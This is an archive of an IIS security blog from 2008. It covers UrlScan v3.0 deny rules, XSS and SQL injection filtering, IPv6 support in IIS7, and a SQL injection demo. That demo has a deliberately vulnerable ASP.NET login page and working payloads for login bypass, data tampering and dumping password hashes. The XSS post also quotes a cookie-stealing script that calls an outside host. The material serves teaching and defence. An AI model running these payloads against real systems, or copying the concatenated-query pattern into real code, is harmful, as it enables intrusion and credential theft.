Nazim's IIS Security Blog

UrlScan v3.0 RTW Released

naziml — Tue, 19 Aug 2008 20:58:26 GMT

About 2 months ago we released the beta for UrlScan v3.0 to address customer concerns with automated SQL injection attacks and we have been busy since refining it with the help of our customers, community and MVPs. You can download the bits at the links below.

UrlScan v3.0 RTW for x86

UrlScan v3.0 RTW for x64

You can also check out the updated walkthroughs for UrlScan v3.0 that covers the new features since Beta.

Using UrlScan

UrlScan Setup

Common UrlScan Scenarios

UrlScan FAQs

Here is a summary of the feature additions to UrlScan v3.0 RTW

1) W3C formatted logging.

UrlScan v3.0 RTW has W3C formatted logs so that analyzing log files is more accessible by writing queries against them using Log Parser. The following are the fields in the new log format with a brief description.

Date: Date of incoming request
Time: UTC time for incoming request
c-ip: Client IP address
s-siteid: SiteID for the site that processed the request
cs-method: Method (verb) of incoming request
cs-uri: URI of incoming request, including query string
x-action: Action performed by UrlScan. Either rejected or logged
x-reason: Reason for UrlScan check being triggered.
x-context: Portion of request this check is applicable to, e.g. URL, query string etc
cs-data: Data in the request that triggered the UrlScan check
x-control: UrlScan configuration data that caused the UrlScan check to trigger

2) Allow rules for URLs and query strings

UrlScan v3.0 RTW gives you the ability to specify a "safe" list of URLs and query strings that will by pass all UrlScan checks. This gives administrators the ability to configure UrlScan to allow certain URLs that would otherwise trigger a UrlScan check.

Here is the link to my blog when UrlScan v3.0 Beta was release

Using the new rules configuration in UrlScan v3.0 Beta (Part 2)

naziml — Mon, 30 Jun 2008 20:41:46 GMT

Dissecting the SQL injection sample in the walkthrough

I will spend some time dissecting the SQL injection rule posted in the walkthrough for UrlScan. Before I do so, I want to re-iterate the fact that SQL injection is a web application issue, and hence the right place to fix it is in the web application. Sometimes when you are the victim of a SQL storm, it is less than ideal to go figure out all the places your web application might be susceptible. That's where UrlScan comes in and offers a stop gap solution till you can fix the apps, without taking any downtime hit on your site. The one issue here is that of false positives ... and these are hard to predict because different web applications have different requirements and semantics. Nonetheless, UrlScan can offer substantial protection in the face of a SQL Storm at the cost of a some false positives that will cause valid requests to be rejected.

[SQL Injection]
AppliesTo=.asp,.aspx
DenyDataSection=SQL Injection Strings
ScanUrl=0
ScanAllRaw=0
ScanQueryString=1
ScanHeaders=

[SQL Injection Strings]
--
%3b ; a semicolon
/*
@ ; also catches @@
char ; also catches nchar and varchar
alter
begin
cast
create
cursor
declare
delete
drop
end
exec ; also catches execute
fetch
insert
kill
open
select
sys ; also catches sysobjects and syscolumns
table
update

So this is the first bit. Notice that the only thing we are scanning here is the query string, not the URL or any headers. This will give us a little more leeway with our strings list. But even so, there are a lot of chances for false positives. For example if were to have "podcast" in my query string, I would trip the filter because of "cast". So the best thing to do is copy this over and do quick testing to make sure your apps still work. The other thing to do is keep an eye on the log files to see what it is catching.

The obvious gap in the rule above is the fact that the only thing I am checking is the query string. What about the rest of the request? The parts of interest for SQL injection really depend on your web application ... but there are definitely some headers that seem important, like the Cookie header (popular candidate for script injection as well).

[SQL Injection Headers]
AppliesTo=.asp,.aspx
DenyDataSection=SQL Injection Headers Strings
ScanUrl=0
ScanAllRaw=0
ScanQueryString=0
ScanHeaders=Cookie:

[SQL Injection Headers Strings]
--
@ ; also catches @@
alter
cast
convert
create
declare
delete
drop
exec ; also catches execute
fetch
insert
kill
select

For folks who have been following this, you will notice that an older version was looking at ScanAllRaw. Even with a trimmed down list, there were a lot of things breaking. Like /* with the Accept-Encoding header and 'cast' in User-Agent strings that had things like 'broadcast'. So I followed my own advice and reduced the scope a little more.

Another part of the request that folks missed was the request entity, but the explanation for that deviated from this topic sufficiently to warrant its own blog here.

UrlScan v3.0 filtering based on Request Entity

naziml — Mon, 30 Jun 2008 20:21:35 GMT

While some folks are rejoicing, others are noticing the lack of scanning for the request entity. Why would we do that? The easy answer is that this is just not possible with an ISAPI filter. In IIS 5 and earlier, there is no API that would allow us to filter request entity, so request entity will never happen there. In IIS 6, the APIs exist to do this via * script maps, but the performance would be pretty bad. Also, there is no mechanism to treat the request as a stream, so there would be potential memory utilization problems. So we left it at that and said "can't do it, sorry".

But then you ask, "what about the request filtering module in IIS7"? Theoretically the IIS7 module APIs certainly let you analyze the request entity, so it is certainly possible. One of our current tasks is to bring the request filtering module up to par (feature-wise) with UrlScan v3.0 and then we can consider answering this complex problem. Yes, don't let this fool you ... analyzing request entity is a complex problem that has consequences for both performance and security. There is a multitude of things you need to account for here: compression/encryption, custom serialization, signature split between multiple POSTs, memory pressure due to entity buffering for POST data, etc. By no means are we claiming that this is an impossible task ... just that the cost to benefit ratio for this is low at this point. But we will try to look into this, time permitting.

Please feel free to send your thoughts/comments ... happy filtering !!

Using the new rules configuration in UrlScan v3.0 Beta (Part 1)

naziml — Tue, 24 Jun 2008 19:51:04 GMT

If you haven't noticed already, UrlScan v3.0 Beta is out and it is the answer to all your prayers. Well maybe not all, but it still is nifty. UrlScan 2.5 is widely used and is quite popular. There were a few minor issues with it that were all fixed for UrlScan 3.0. But besides those UrlScan now has the ability to filter based on query strings as well and a new rules syntax lets you specify powerful rules and lets you stay organized while you are at it.

I thought I would take some time to write some sample rules for common scenarios that people would like to filter, but instead decided to dissect our defaults and the little sample for SQL injection that we put up on the walkthrough for the Beta.

Cross site scripting

There has been a lot of discussion about XSS and it falls into the same bucket as SQL injection in the fact that this is not a server/product vulnerability. It is an application issue just like SQL injection. CGISecurity has a nice little FAQ on XSS here and iDefense has a decent whitepaper here. There are quite a few advanced papers on XSS evasion and static XSS detection in applications, but like all things in life, simple is usually good.

Most XSS attacks will pass in script where the application does not expect it. Here are some samples of what a XSS attack might look like from the CGISecurity FAQ linked above.

http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>

Notice the similarity to SQL injection? The variable query string parameter is pre-emptively terminated and a bunch of script goo is added. Folks can get a little more devious and encode the query string like below so it's not easily identified.

http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

The pattern that should jump out at you is the <script> tag, but how do I accurately detect it in the cases where I might have it encoded or have to deal with arbitrary whitespaces like < script > ? The new default urlscan.ini contains a rule in it to protect against these sort of patterns and the rule is just simply:

[DenyQueryStringSequences]

Simply put it just disallows angle brackets in the query string and if you think about the myriad web applications out there today, not many have legitimate use of either the '<' or the '>' character on the query string. Along with the above section, the default configuration also has the following set:

[Options]

UnescapeQueryString=1

What this does is that it will check sequences in both the raw and the un-escaped version of the query string. So now even the second example above for XSS would be caught by the default rule.

Read the next post in the series and watch me dissect the sample SQL injection rule in the walkthrough posted.

Interaction between URL Rewriter and Request Filtering Modules for IIS7

naziml — Fri, 06 Jun 2008 00:39:48 GMT

I hope folks have noticed the TP for the URL Rewriter module. Download it and give it a try!

Microsoft URL Rewrite Module for IIS 7.0 CTP1 (x86)

Microsoft URL Rewrite Module for IIS 7.0 CTP1 (x64)

I have been playing around with in my spare time to get a feel for it, and if you are not familiar with rewrite, stop by the walkthrough here.

While playing around with it an interesting question occurred to me ... how do the Rewriter module and the Request Filtering module interact with a request? I ask this question because if I block an HTTP request with a particular pattern in Request Filtering, and I attempt to rewrite the very same pattern to something else in the Rewriter module, who trumps who?

Expectation of a secure server

First let's figure out what we should expect to happen. Request filtering exercises a contract to look at requests coming to the server from the client, unadulterated. So if I have a rule that says disallow .aspx requests and a client types in the URL http://localhost/foo.aspx in his/her browser, the request should be blocked, period.

URL Rewriter module is a server-side request modification entity. So one should put it in the same bucket as an ASP.NET application that redirects or changes request parameters. So if I have a rewrite rule that changes the file extension of every request that ends in .foo to .aspx, it should not be considered a violation of the request filtering rule. The reason being that the client typed in http://localhost/xxxxxx.foo in his/her browser and since that does not have the .aspx extension, the request should be allowed to execute.

Behavior on IIS7

In a nutshell, IIS 7.0 is well behaved. In the request processing pipeline, the request filtering module gets a higher priority than the rewriter module. The rewriter module also has a sufficiently high priority in the request processing queue (otherwise it wouldn't be a very useful module), but it still kicks in after request filtering module on the BeginRequest path. The important takeaway here is that this is the desired order of processing, and so if you are manually tweaking module order and priority in configuration, swapping the order of these two could be considered as breaking the security contract that request filtering tries to establish, don't do it!

Bottom line, the defaults are good ... we have thought about things before putting them in order, even though it may look like a random ordering to the untrained eye :)

Using IPv6 with IIS7

naziml — Fri, 02 May 2008 23:11:02 GMT

Besides the US government and certain Asian countries, IPv6 has not really caught on yet, especially here in the US. So how does IIS7 stack up as far as IPv6 support is concerned? Let's walk through the IIS7 feature set to evaluate this. For comparison against IIS 6 you can check out the TechNet article here.

IPv6 Bindings in IIS7

The default binding is a '*' binding and does not have an IP address, so IPv6 does not come into the picture. However if you were to create a binding for your site from 'inetmgr' (IIS 7 configuration tool), the drop down list for IP Address would pre-populate with your server's IP addresses, including IPv6 address. Here's a screen shot of what this looks like.

When you are selecting an IPv6 address from the list, make sure you don't accidentally bind to the 'Temporary IPv6 Address'. Temporary addresses are IPv6 interface identifiers that provide a level of anonymity for outbound traffic. If your machine is domain joined, it is possible for the DC to assign a temporary address (with the same global prefix) to your machine and this address may change frequently, say every day. In that case your binding will be broken every time such a change occurs.

Sounds good so far, but can I manually enter an IP address? And if I do, will it check the validity of the address? Yes and yes. Here's what I get when I enter an invalid IP address.

Site Limits

Back in IIS 6 site/server limits like MaxBandwidth and MaxGlobalBandwidth metabase properties did not apply to responses sent over IPv6 addresses. IIS 7 has equivalents to these limits as well that reside under system.applicationHost/sites/Limits. These settings apply to responses sent over both IPv4 and IPv6 for IIS 7.

IP Address and Domain Restrictions

If you have brought up the configuration manager for IIS 7 (inetmgr) you probably noticed that the restriction list is preceded by "IPv4".

And drilling down further to add a deny rule list shows IPv4 specific entries only.

So does this mean that there is no support for IPv6 in the IP restrictions list? Well, that is not entirely true. The way the restriction list currently works is that it applies a specified mask to an incoming requests address to figure out if an address is on the restriction list. In the case of IPv4, this is as simple as the subnet mask, and this module was engineered keeping this paradigm in mind. There is no way the UI permits even entering a non IPv4 address. But in the configuration system in applicationHost.config, here are what entries look like for both a specific address and an address range.

<ipSecurity allowUnlisted="true">
    <add ipAddress="10.199.199.199" allowed="false" />
    <add ipAddress="12.14.0.0" subnetMask="255.255.0.0" allowed="false" />
</ipSecurity>

It is evident that a range for IPv6 in the schema above would be problematic, but for a single address, you could still use an IPv6 address and the comparison should work fine (theoretically). However, such an entry would have to be made directly in applicationHost.config and cannot be done through the configuration manager UI. Adding manual entries of this kind will show up in the configuration UI though. It is interesting to note the 255.255.255.255 subnet mask, which is obviously incorrect. I have yet to test this out thoroughly and document the behavior.

There are some additional details that are worth mentioning here.

Grant/Deny rules using 127.0.0.1 will automatically apply to both IPv4 and IPv6 address.
Also, 127.0.0.1 and ::1 can be used interchangeably and is protocol version agnostic.

FTP Publishing Service for IIS 7.0

The new version of FTP (7.0) fully supports IPv6 besides supporting other marked improvements like SSL. Both IPv4 and IPv6 clients can connect to a server that could have either an IPv4 or IPv6 address.

Note:

One major point of confusion that I should clarify here is that the version of FTP on the box with Windows Server 2008 is NOT FTP 7. It is in fact the older version. The new version of FTP shipped out of band and can be downloaded here for x86 version or here for x64 version.

FTP has its own IP restriction list and even its configuration UI (which is integrated with IIS configuration) does not let you specify IPv6 addresses. Here is what you will see when you enter an IPv6 address.

In case you were wondering if IP restrictions is any different for FTP than for IIS, it's not. In fact, if you open up the same applicationHost.config file you will see a section like the one below.

<system.ftpServer>
    ...
    <security>
        ...
        <ipSecurity>
            <add ipAddress="5.4.3.2" allowed="false" />
            <add ipAddress="234.123.10.1" subnetMask="255.255.0.0" allowed="false" />
        </ipSecurity>
    </security>
</system.ftpServer>

And this is exactly the same schema as the one for IIS. So everything I mentioned above applies here as well.

Miscellaneous

IIS 7.0's tracing and logging mechanisms are fully IPv6 aware as well. So whether you are generating Failed Request Traces or looking at the HTTP error logs, you will see IPv6 addresses. Even at an OS and programmability level there is much greater support for IPv6, which makes it easier to work with even from a developer's perspective.

SQL Injection Demo

naziml — Wed, 30 Apr 2008 22:12:18 GMT

SQL injection seems to have faded from prominence lately and has become just a buzz word. To make things a little more real I put together a quick demo for it, to demonstrate that you don't necessarily have to go out of your way to make your web application exploitable.

Here are the ingredients for this demo:

ASP.NET application using System.Data.SqlClient to access a SQL database.
SQLExpress (or any other db) with some tool to directly author to the database.

CAUTION: This is a sample to demo SQLInjection and is hence unsecure. Do not use this sample as the basis for a web application.

Setting up the Database

I used SQLExpress for my demo, but you can use whatever is available. Just be sure to update the connection string in your ASP.Net application.

Enable the sa account and gave it a password.
Connect to the database with this account to make sure it works. You can use SQL Server Management Studio Express (SSMSE) to do this.
Create a database called WebApp and create tables as follows.

Populate the tables with sample data.
Try running a few queries against through SSMSE to make sure things work, eg:

SELECT * FROM Users; SELECT * From Orders;

Setting up a Web Application on your Server

I used IIS 7.0 and ASP.NET 2.0, but you could use other tools as well.

Make sure IIS is running and that you can access the default page.
Under the same directory you can add the following ASP.NET page (SQLLoginUnsafe.aspx) and the code-behind file (SQLLoginUnsafe.aspx.cs)
Here is the sample ASP.NET page, SqlLoginUnsafe.aspx.

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="SQLLoginUnsafe.aspx.cs" 
    Inherits="SQLLoginUnsafe" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head runat="server">
    <title>Untitled Page</title>
</head>

<body>
    <form id="form1" runat="server">
    <div>
    
        This is the Unsafe SQL Login Page.<br />
        <br />
        Username:</div>
    <asp:TextBox ID="TextBoxUsername" runat="server" Width="200px">
    </asp:TextBox>
    <br />
    <br />
    Password:<br />
    <asp:TextBox ID="TextBoxPassword" runat="server" Width="200px">
    </asp:TextBox>
    <br />
    <br />
    Result:<br />
    <asp:Label ID="LabelResult" runat="server" Text="-"></asp:Label>
    <br />
    <br />
    <asp:Button ID="ButtonLogin" runat="server" onclick="ButtonLogin_Click" 
        Text="Login" />
    <br />
    <br />
    <asp:Label ID="LabelData" runat="server" Text="Here is your Order history" 
        Visible="False"></asp:Label>
    <br />
    <br />
    <asp:GridView ID="GridView1" runat="server" Visible="False">
    </asp:GridView>
    <br />
    <asp:Button ID="ButtonLogout" runat="server" onclick="ButtonLogout_Click" 
        Text="Logout" Visible="False" />
    <br />
    <br />
    </form>
</body>
</html>

Here is the sample code-behind the ASP.Net page, SQLLoginUnsafe.aspx.cs.

/*
 * SQLLoginUnsafe.aspx.cs
 * Author: Nazim Lala
 * 
 */
using System;
using System.Web;
using System.Web.UI;
using System.Web.UI.HtmlControls;
using System.Web.UI.WebControls;
using System.Text;
using System.Data;
using System.Data.SqlClient;

public partial class SQLLoginUnsafe : System.Web.UI.Page
{
    private string _username;
    private string _password;
    private bool _loggedIn = false;

    private string _connString = 
        @"Data Source=.\SQLEXPRESS;"+
        "Initial Catalog=WebApp;"+
        "Integrated Security=True;";

    private SqlConnection _sqlConn = null;

    protected void ButtonLogin_Click(object sender, EventArgs e)
    {
        _username = Request["TextBoxUsername"];
        _password = Request["TextBoxPassword"];

        if (!IsNonEmptyCredentials())
        {
            LabelResult.Text = "ERROR: Cannot have empty credentials.";
            return;
        }

        if (AttemptSQLLogin())
        {
            // Login succeeded
            
            // Fill order data
            FillOrderData();

            EnableLoggedInVisuals();

        }
        else
        {
            DisableLoggedInVisuals();
        }

    }

    protected bool IsNonEmptyCredentials()
    {
        if (_username == null ||
             _username.Length == 0 ||
             _password == null ||
             _password.Length == 0)
        {
            return false;
        }
        else return true;
 
    }

    protected bool AttemptSQLLogin()
    {
        try
        {
            _sqlConn = new SqlConnection(_connString);
            _sqlConn.Open();
        }
        catch (Exception ex)
        {
            LabelResult.Text = String.Format(
                "ERROR: Failed to open SQL Connection: {0}", ex.Message);
            return false;
        }

        SqlDataReader dataReader = null;

        string SQLQuery = String.Format(
            "SELECT * FROM Users WHERE Username='{0}' AND Password='{1}'", 
            _username, _password);

        SqlCommand command = new SqlCommand(SQLQuery, _sqlConn);

        try
        {
            dataReader = command.ExecuteReader(CommandBehavior.SingleResult);

            if (dataReader.HasRows)
            {
                LabelResult.Text = String.Format("Login success");
                dataReader.Close();
                _loggedIn = true;
                return true;
            }
            else
            {
                LabelResult.Text = String.Format(
                    "Login failed: Invalid credentials");
                dataReader.Close();
                return false;
            }

        }
        catch (Exception ex)
        {
            LabelResult.Text = String.Format(
                "ERROR: Failed to execute SQL command: {0}", ex.Message);
            return false;
        }

        //return true;
    }

    protected bool FillOrderData()
    {
        SqlDataReader dataReader = null;

        if (!_loggedIn)
        {
            LabelResult.Text = "No user logged it";
            return false;
        }

        string SQLQuery = String.Format(
            "SELECT Orders.OrderId, Orders.Amount, Orders.CreditCard "+
            "FROM Users, Orders WHERE Users.Username='{0}' "+
            "AND Users.UserId=Orders.UserId", _username);

        SqlCommand command = new SqlCommand(SQLQuery, _sqlConn);

        try
        {
            dataReader = command.ExecuteReader(CommandBehavior.Default);

            GridView1.DataSource = dataReader;
            GridView1.DataBind();

            dataReader.Close();

            return true;
        }
        catch (Exception ex)
        {
            LabelResult.Text = String.Format(
                "ERROR: Failed to execute SQL command: {0}", ex.Message);
            return false;
        }
    }

    protected void ButtonLogout_Click(object sender, EventArgs e)
    {
        LabelResult.Text = "Logged Out";
        _loggedIn = false;
        _username = "";
        _password = "";
        DisableLoggedInVisuals();
    }

    protected void EnableLoggedInVisuals()
    {
        ButtonLogin.Enabled = false;
        ButtonLogin.Visible = false;
        LabelData.Visible = true;
        GridView1.Enabled = true;
        GridView1.Visible = true;
        ButtonLogout.Enabled = true;
        ButtonLogout.Visible = true;
        
    }

    protected void DisableLoggedInVisuals()
    {
        ButtonLogin.Enabled = true;
        ButtonLogin.Visible = true;
        LabelData.Visible = false;
        GridView1.Enabled = false;
        GridView1.Visible = false;
        ButtonLogout.Enabled = false;
        ButtonLogout.Visible = false;
        
    }
}

Make sure you can access the website from your local machine.

Making the SQL Injection Requests

Now onto the fun part. Let's say we have a user 'Foo' with password 'foo' in our Users table for the purpose of this exercise.

Trying an invalid user/password.

Username: Unknown
Password: unknown

As expected we get a login failure.
Bypassing login for a known user. Let's say we know user 'Foo' exists.

Username: Foo'--
Password: junk

By using '--' for commenting out the rest of the conditions in the query we have been able to skip password validation for user 'Foo'
Bypassing login for unknown user. Let's say we don't know any user on the site.

Username: ' OR 1=1--
Password: junk

We used a tautology (1=1) to bypass all security checks. Notice that I know have the order information for *all* users.
Injecting a new user. Let's say I want to add a user 'Hijack' with password 'This'.

Username: ';INSERT INTO Users VALUES (100,'Hijack','This')--
Password: junk

But now using those credentials succeeds.
Changing price of all orders to 0.01

Username: ';UPDATE Orders Set Amount=0.01--
Password: junk

And using an earlier example to list all orders we see that all the prices have changed.
Injecting SQL users and password hashes into the Orders table and getting it to display

So this is a little tricky. sys.sql_logins table has the information of interest. But how do we go about displaying it.
The answer is simple, we inject all the information into the Orders table and get the query to display it.

Username: 'OR 1=1;INSERT INTO Orders (OrderId, UserId, Amount, CreditCard) SELECT principal_id+1000,principal_id+1000,principal_id*1.0,name FROM sys.sql_logins UNION SELECT principal_id+1000,principal_id+1000,principal_id*1.0,master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins--
Password: junk

Now that we have user names and password hashes, you could use one of several external hash cracking tools to actually get to the password.

Conclusion

It is quite easy to see how quickly one can invade a system through the use of SQL injection. The million dollar question is "How do I protect myself "? The answer is, follow best practices.

Sanitize your input using both black lists and white lists.
Use parameterized SQL and NEVER use string concatenation to generate queries.
Protect your database resources wisely and use the notion of "least privilege" to access information.

Hope this helped in making SQL injection a more concrete issue to protect your applications against, rather than a buzz word.

Filtering SQL injection from Classic ASP

naziml — Mon, 28 Apr 2008 18:53:00 GMT

SQL injection may be over a decade old, but even the best of us need a reminder once in a while. You should always validate input to your applications! There isn’t a ‘one size fits all’ solution to sanitizing input, so I will attempt to show what a general solution might look like for classic ASP (using VBScript). Remember, you need to keep in mind the specifics of your web application and add/remove things in the sample accordingly. So even though I am focusing on SQL injection here, input validation needs to be done to even prevent cross-site scripting attacks, among others. Check this article on how to prevent XSS to give you an idea of other sorts of validation that would need to be done on user input to secure a web application. If you are looking for something for ASP.NET check out this post from Stefan on the ASP.NET team.

Now that UrlScan v3.,0 Beta (x86, x64) is out I would highly recommend using that instead of this script. There is also a walk-through for it on implementing SQL injection blocking configuration.

Please note:

The purpose of this sample is to get folks off the ground and up and running. This is not intended to be a long-term solution to solving SQL injection attacks against your application. Using black lists like in the sample tend to give a lot of false positives that make many applications unusable. Increasing complexity in the list to avoid this leads to performance issues. Also, such simplistic signatures can be worked around by determined hackers. Consider UN/**/ION for example.

You want to use white lists and rules to sanitize input. You should restrict your web application to using stored procedures and calling them using parameterized SQL APIs.

The way this sample is constructed is that I have a script that checks certain inputs against a ‘black list’ of strings, and if I find a match I redirect to an error page. This script can then be ‘included’ into all public facing application scripts that process user input. There are 3 pieces to this solution: the script with the filtering logic, a sample application that will ‘include’ the filtering script and an error page we would forward to. I have added comments to the scripts themselves, so you have the reminders in front of you. Several folks asked about a send email script, so I have included a sample script for that as well. You will need to incorporate it into your application appropriately. Make sure you read the comments in the code as well for all the assumptions. The right way to do db access from web applications is to use parameterized SQL. Check out Neil Carpenter's blog here on what this looks like.

SqlCheckInclude.asp

This is the code that does the main filtering. Copy the code below into an ASP file and modify according to your needs. The main things you need to add/modify for your needs are the BlackList array and the ErrorPage you want to forward to. Deploy this file in a location that will be accessible to all your web applications. Make sure that the path to your error page is correct. Use a full path here if possible, since this code will get ‘included’ into several applications that may all reside in different physical directories.

<% 
'  SqlCheckInclude.asp
'
'  Author: Nazim Lala
'
'  This is the include file to use with your asp pages to 
'  validate input for SQL injection.


Dim BlackList, ErrorPage, s

'
'  Below is a black list that will block certain SQL commands and 
'  sequences used in SQL injection will help with input sanitization
'
'  However this is may not suffice, because:
'  1) These might not cover all the cases (like encoded characters)
'  2) This may disallow legitimate input
'
'  Creating a raw sql query strings by concatenating user input is 
'  unsafe programming practice. It is advised that you use parameterized
'  SQL instead. Check http://support.microsoft.com/kb/q164485/ for information
'  on how to do this using ADO from ASP.
'
'  Moreover, you need to also implement a white list for your parameters.
'  For example, if you are expecting input for a zipcode you should create
'  a validation rule that will only allow 5 characters in [0-9].
'

BlackList = Array("--", ";", "/*", "*/", "@@", "@",_
                  "char", "nchar", "varchar", "nvarchar",_
                  "alter", "begin", "cast", "create", "cursor",_
                  "declare", "delete", "drop", "end", "exec",_
                  "execute", "fetch", "insert", "kill", "open",_
                  "select", "sys", "sysobjects", "syscolumns",_
                  "table", "update")

'  Populate the error page you want to redirect to in case the 
'  check fails.

ErrorPage = "/ErrorPage.asp"
               
'''''''''''''''''''''''''''''''''''''''''''''''''''               
'  This function does not check for encoded characters
'  since we do not know the form of encoding your application
'  uses. Add the appropriate logic to deal with encoded characters
'  in here 
'''''''''''''''''''''''''''''''''''''''''''''''''''
Function CheckStringForSQL(str) 
  On Error Resume Next 
  
  Dim lstr 
  
  ' If the string is empty, return true
  If ( IsEmpty(str) ) Then
    CheckStringForSQL = false
    Exit Function
  ElseIf ( StrComp(str, "") = 0 ) Then
    CheckStringForSQL = false
    Exit Function
  End If
  
  lstr = LCase(str)
  
  ' Check if the string contains any patterns in our
  ' black list
  For Each s in BlackList
  
    If ( InStr (lstr, s) <> 0 ) Then
      CheckStringForSQL = true
      Exit Function
    End If
  
  Next
  
  CheckStringForSQL = false
  
End Function 


'''''''''''''''''''''''''''''''''''''''''''''''''''
'  Check forms data
'''''''''''''''''''''''''''''''''''''''''''''''''''

For Each s in Request.Form
  If ( CheckStringForSQL(Request.Form(s)) ) Then
  
    ' Redirect to an error page
    Response.Redirect(ErrorPage)
  
  End If
Next

'''''''''''''''''''''''''''''''''''''''''''''''''''
'  Check query string
'''''''''''''''''''''''''''''''''''''''''''''''''''

For Each s in Request.QueryString
  If ( CheckStringForSQL(Request.QueryString(s)) ) Then
  
    ' Redirect to error page
    Response.Redirect(ErrorPage)

    End If
  
Next


'''''''''''''''''''''''''''''''''''''''''''''''''''
'  Check cookies
'''''''''''''''''''''''''''''''''''''''''''''''''''

For Each s in Request.Cookies
  If ( CheckStringForSQL(Request.Cookies(s)) ) Then
  
    ' Redirect to error page
    Response.Redirect(ErrorPage)

  End If
  
Next


'''''''''''''''''''''''''''''''''''''''''''''''''''
'  Add additional checks for input that your application
'  uses. (for example various request headers your app 
'  might use)
'''''''''''''''''''''''''''''''''''''''''''''''''''

%>

TestPage.asp

This is a sample that shows how to ‘include’ the script above in my application. Make sure the path to your include file is correct. The example below is for the application and the include file being in the same directory. Make sure you modify the path if these 2 are not in the same directory.

<% 
'  TestPage.asp
'
'  Author: Nazim Lala
'
'  This is a file to test the SQLCheckInclude file. The idea here is that you add
'  the include file to the beginning of every asp page to get SQL injection 
'  input validation


%>

<!--#include file="SqlCheckInclude.asp"-->
<%
Response.Write("Welcome to the Test Page.")
Response.Write("If you are seeing this page then SQL validation succeeded.")
%>

ErrorPage.asp

If a ‘black list’ string is found in any input, this is the page you will be forwarded to. You can reuse any custom error page that you already have for this. I am including this only for the sake of completeness.

<% 
'  ErrorPage.asp
'
'  Author: Nazim Lala
'
'  This is the error page that users will be redirected to if the input cannot
'  be validated

%>
<%Response.Write("ERROR: Invalid Input")%>

SendEmail.asp

This script sends email via a remote SMTP server that uses credentials. You will need to integrate this into your application at the right place to get error reporting via email.

<% 

'  SendEmail.asp
'  Author: Nazim Lala
    
Function SendEmail(email, msg) 
  On Error Resume Next 
  
  ' If the string is empty, return false
  If ( IsEmpty(email) ) Then
    SendEmail = false
    Exit Function
  ElseIf ( StrComp(email, "") = 0 ) Then
    SendEmail = false
    Exit Function
  End If
  

  Set cdoConfig = CreateObject("CDO.Configuration")  

  With cdoConfig.Fields  
      .Item(cdoSendUsingMethod) = cdoSendUsingPort  
      ' Fill in server name for remote SMTP server and
      ' credentials
      .Item(cdoSMTPServer) = "smtpserver.foo.com"  
      .Item(cdoSMTPAuthenticate) = 1  
      .Item(cdoSendUsername) = "username"  
      .Item(cdoSendPassword) = "password"  
      .Update  
  End With 

  Set cdoMessage = CreateObject("CDO.Message")  

  With cdoMessage 
    'Fill in sender information
    Set .Configuration = cdoConfig 
    .From = "me@myself.com" 
    .To = email 
    .Subject = "Test Email" 
    .TextBody = msg 
    .Send 
  End With 

  Set cdoMessage = Nothing  
  Set cdoConfig = Nothing  
  
  SendEmail = true
  
End Function 


%>


<FORM VERB=POST METHOD="POST"> 
Test page for checking input with possible SQL injection.<br><br>
Email: <INPUT NAME=Email></INPUT><BR>
Message: <INPUT NAME=Message></INPUT><BR>
Sent: <% = SendEmail(Request("Email"),Request("Message")) %><BR> 
<BUTTON TYPE=SUBMIT>Submit</BUTTON> 
</FORM>

Hope this helps. If folks are averse to VBScript I can cook up something for Jscript if there is demand.